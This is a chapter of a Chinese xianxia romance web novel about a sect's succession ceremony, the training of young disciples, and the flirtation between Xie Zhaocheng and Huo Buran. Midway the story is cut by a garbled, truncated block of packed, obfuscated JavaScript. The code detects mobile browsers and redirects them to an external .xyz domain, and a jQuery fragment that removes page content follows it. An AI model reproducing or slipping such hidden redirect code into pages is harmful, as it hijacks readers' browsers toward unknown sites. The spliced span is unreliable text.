钟正放下化骨箭环顾一圈,大步朝元天崇走去。
“崇弟,你这是作甚。”
元天崇收起了周身法器,轻飘飘说道:“玩闹罢了。”
身后轮椅声响起,谢照乘接话道:“道君的玩法真是别致,若不是钟师兄的‘一箭三雕’,恐怕我等已沦为仙鹤的盘中餐点。”
元天崇看着走近的霍不染,嘴上回道:“道友说笑了。有清泉守在,自不会弃病残于险境。”
“病残”的谢公子碾过地上的道袍,滑过一段距离不偏不倚挡住了霍不染的去路。
元天崇的目光移到他的身上,露出个似笑非笑的表情。
钟正对二人的暗流涌动没有察觉,又问道:“怎么过来了?”
元天崇摊开双手,自然道:“我知大哥的继任大典即将举行,特地来给你送些人手。”
随着他话音落下,身后的青袍教众搭着拂尘弯腰行礼,丝毫没有之前的傲慢。
“不用。”钟正一口回绝,大概是觉得话语生硬,又补充道:“元真教的好意我心领了,但这毕竟是我天玄派内的事情,门派中人可以应付。”
元天崇点头道:“我信大哥定能处理。不过,这是空竹掌门的意思。”
“掌门的意思?”身后的天玄众人惊讶地对视一眼,随后又把目光投到钟正身上。
钟正脸上也残留着些许讶异,他微微摇头表示自己也不知情。
元天崇却也不肯多说,只对着钟正点了下头,“大哥,空竹掌门还在等我,我先去了。”
他走了两步又想起什么,侧头说道:“天玄弟子的实力我给你试过了,看来大哥离开太久,他们已疏于修行。”
说罢,他谁也不看径直向里走去,口中还高声吩咐道:“元真教众留下听候差遣。”
天玄众人见他如同主人一般随意,心中聚满怒气。
随着石门关闭,庞飞等人围上钟正,刚想开口却被制止。
“高止,把人安顿好。”
高止点头,领着青袍教众一行离去。
等人走远了,庞飞才开口:“钟师兄,掌门这是?”
钟正沉吟道:“元真教与我们也算友派,掌门这么做也有考量。”
“什么友派。”若椒撇撇嘴,“我看他早把这里当成自家教派。”
“崇弟确实顽劣。”钟正摇头道:“但他本性不坏。”
若椒气得翻了个白眼,还想说什么被庞飞拉住了。
“你们放心,我会约束他们。”钟正结束这个话题,望着二人身后,语带不悦道:“怎么这幅打扮。”
庞飞和若椒回头一看,发现小弟子们衣服歪斜,头发散乱。也不知是刚才打架所致,还是被仙鹤吓到。
二人对视一眼,还未想好说辞,钟正却已来到豆丁面前。
他身量极高又久未露面,豆丁们对他又是陌生又是惧怕,一个两个抱在一起好不可怜。
钟正见他们软弱,浓眉皱起犹如一尊凶神,吓得萝卜头们嗷呜一声躲在庞飞身后。
庞飞像个老母鸡张开手臂,解释道:“钟师兄,他们只是太久没见你,一时间有些不适应。”
不远处,谢照乘被这幅“老鹰捉小鸡”的画面惹得笑出声来,他对着身后说道:“你平日里训斥师弟师妹们是不是也这样?”
霍不染垂眸问道:“哪样?”
“凶巴巴像个讨债鬼。”谢照乘说完又摇头道:“不对,不对。”
如果是霍不染的话,应该是——
谢公子在心中细细描绘,“她定是板着张脸,手背在身后,活像个刚出土的小古板。”
霍不染不解地看他一眼,二人之间突然哗啦啦涌入一群豆丁。
小手们一松一放,霍不染雪白的衣摆上瞬间印上一朵泥色小花。
谢公子倒是机灵地闪身躲开,避免了泥爪攻击。
此时钟正的脸色已经隐隐发黑。
庞飞在前方猛地使眼色,但霍不染周围还是长着一串豆丁。
“……钟师兄?”霍不染被十多双手拉着,倒还是站得笔直。
钟正压着嗓子道:“过来!”
霍不染的衣摆抖得簌簌响。她望望钟正又看向扒着自己的豆丁们,陷入沉默。
因为性格的关系,师门中无人会与她如此亲近。她一时不知该如何应对。
“哎呀,你自己长得凶,不惹人喜欢怎么还怪他人。”若椒站在钟正面前,娇小的个头只到他的胸口,“我说钟师兄,你就安心准备继任大典吧。这群娃娃由我们来管。”
钟正低头看她,气势迫人,“究竟管束还是一同玩闹?”
“玩闹?”若椒一点就着,叉腰怒道:“庞飞高止在天玄派劳心劳累,守财奴从牙缝里抠出银钱举办大典,我更是随你天南地北净魔,你居然说我们在玩闹!”
辣椒姑娘人如其名,字字如炮,句句呛人,钟正皱眉道:“我不是这个意思。”
“那你是何意?”若椒抬头挺胸,气势猛地蹿高。
钟正说不过她,踱开两步,“童子登仙会五日之后举行,他们必需参加。”
他望着霍不染身后,严厉道:“明日起由我监督修行,不可懈怠。”
童子登仙会,通常流行于规模不大的门派之间。几个门派约好时日,把近来新收的小弟子们推出来比试一番。
此会一是为了告诉大家我派有新鲜苗子,二是能够彰显本门派训练有方,实力不俗。
谢照乘瞄了眼天玄派的“苗子”,估摸着去了也是满场滚的命运。
与他想法一致的辣椒姑娘第一个跳出来,钟正看起来也动了气。
庞飞暗道不妙,粗腰一拱两边和起稀泥。
谢公子正看得津津有味,突然被滚过来的小胖墩摁住。
他虽迅速躲避,衣袖上还是留下泥印。
谢公子还没来得及发作,却见小胖墩又粘上来,他立刻用扇子抵住,“别过来!”
小胖墩委屈道:“谢大少爷救命!”
谢照乘心里门清,挑眉道:“不想被钟师兄管?”
小胖墩连连点头。
谢公子温柔一笑,吐出四字名言:“干我何事?”
小胖墩咬唇回首,十多双眼睛立刻朝谢公子看来。
“扮可怜啊。”谢公子好整以暇地靠在椅背上,“可惜对我没用。”
小胖墩看他见死不救,啪的打掉扇子回归大军怀抱。
几个萝卜头凑在一起叽里咕噜说了一阵,谢公子就在旁边从容等待新的花招。
片刻后,萝卜头不约而同扯了扯手中的布料。
霍不染似有所感,弯腰凑近。
黑亮的大眼睛渴望地看着她,童音清脆黏糊:“霍姐姐,你帮我们求求谢大少爷好不好。”
霍不染顺势看去,由于姿势原因眼睛比平时张得略大些,看起来如早春里解冻的冰面,薄薄的带点脆。
咔嚓——
谢公子气鼓鼓转起轮椅,一路前进,利落停下,摇起扇子。
“各位,我有一计不知当讲不当讲。”
庞飞立刻道:“谢长老请说。”
“眼下钟师兄的继任大典最为关键,绝不能耽搁。但小弟子们的培养也事关青玄派往后的声誉,马虎不得。”
庞飞挣扎道:“可钟师兄分身乏术,又有元真教要照看……”
“没错。”谢公子接过话头,“所以我想可以换个人来督促修行。”
“谁?”
谢公子调转扇子指指自己。
庞飞挠了挠胖脸,支支吾吾道:“谢长老金尊玉贵,这么辛苦的事……”
“自然不会是本公子亲自上场。”谢照乘头一歪,露出身后的霍不染,朗声道:“品德能力皆为上乘,这个人选如何?”
此话一出,众人面面相觑。
霍不染亲自监督自然好,但让碎云峰的关门弟子做这事,未免有些大材小用吧?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891480|176481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“天玄派于我二人有救命之恩,再说我们本也要参加之后的就任大典。顺手的事,何乐而不为?”
庞飞和若椒看向钟正。
后者似有顾虑,一时未答。
“钟师兄。”霍不染开口道:“你尽管去忙,此事交给我。”
钟正看了眼扒着她的小弟子们,叹息道:“多谢。”
“你怎么不谢我?”谢公子看着伏在案上的霍不染不满道。
霍不染专注地执笔书写,没有回答。
谢公子把轮椅停在桌前,又道:“上午要不是我,你能接下这份好差事?”
“什么好差事啊,我师姐的教导不是人人都可享。”宁满一边磨墨,一边嘟囔道。
谢照乘早就嫌他碍事,打发道:“你去给我煮碗茶来。”
“谢公子,外头就有茶壶。”
谢照乘手一挥,“我要现煮的,快去。”
宁满老大不乐意地看了霍不染一眼,见对方没有反应,只好拖拖拉拉去了外头。
谢公子趁机而上,占据宁满的位置。从他这个角度,正好对上霍不染的侧脸。他与她平视的机会不多,一时间有些看呆。
幸好谢公子心里装着事,失神片刻就元神归位。
他假意咳嗽两声。
霍不染依旧目不斜视。
谢公子焦躁地敲着桌子,心道:“好你个霍不染,刚才还和那个元天崇说我们是朋友,转眼对我理都不理。”
一想到元天崇,他心里愈加不快,于是伸手把霍不染手下的纸抢了过来。但他醉翁之意不在酒,于是只管盯着她,“我倒要看看你在写什么东西。”
霍不染被他这么闹腾,终是看了过来。
谢照乘瞥到她的动作,又立刻把纸拿起来,假装在看。
然而只看了一眼,他就扔到一边,火急火燎道:“我的手!”
也不知哪个不长眼的把砚台摆在他手下,害他整只手都沾满了墨汁。
谢公子小心翼翼撩起袖子以免弄脏,不经意看到被他抓过的纸上也是黑糊一片。
“……”他心虚地往旁瞟了眼。
正巧被霍不染抓个正着。
“怎么?既然我手上沾了墨水,那你的纸被弄脏又有什么奇怪。”
霍不染不说话,但也没移开目光。
谢公子挺直腰背,硬气道:“大不了我帮你写。”
“谢照乘。”霍不染放下笔,终于唤他。
“作、作甚?”
“你有要事?”
谢公子眨巴眨巴眼睛,不解道:“并无。”
“那你缠着我作甚?”
!
谢公子也不管手脏不脏,急忙转着椅子退后两步。嘴上也连珠炮弹道:“什么缠你?我只是见你被豆丁缠着,才帮你解围。你居然、居然血口喷人!”
霍不染听他已在说胡话,干脆起身走到面前。
谢公子受惊,急忙又去转轮椅,却发现转不动。
他抬头一看,把手已被霍不染摁住。
她就那么俯身,用那似融非融的目光看他。
谢公子喉间一涩,呆愣愣看她张开淡色的唇。
“真无事?”
谢公子胡乱点头。
“那走吧。”
走……她想和我走哪里去?
谢公子迷迷糊糊被推着,连问她与那个元天崇到底是什么关系也忘了。
眼见二人就要出院子,谢公子才有些回神,矜持道:“天色已晚,你我——”
“谢公子,您的茶已经煮好了。”
砰——!
他转身看去,房门已关。
门外,宁满和谢照乘大眼瞪小眼。
半晌,宁嘛挠挠头,小心问:“这茶还喝吗?”
“喂狗去吧!”谢公子气哼哼地把轮椅搓出火星,扬长而去。
背后,宁满拉长了声调:“这可是特地给您煮的,怎么可以给狗喝——”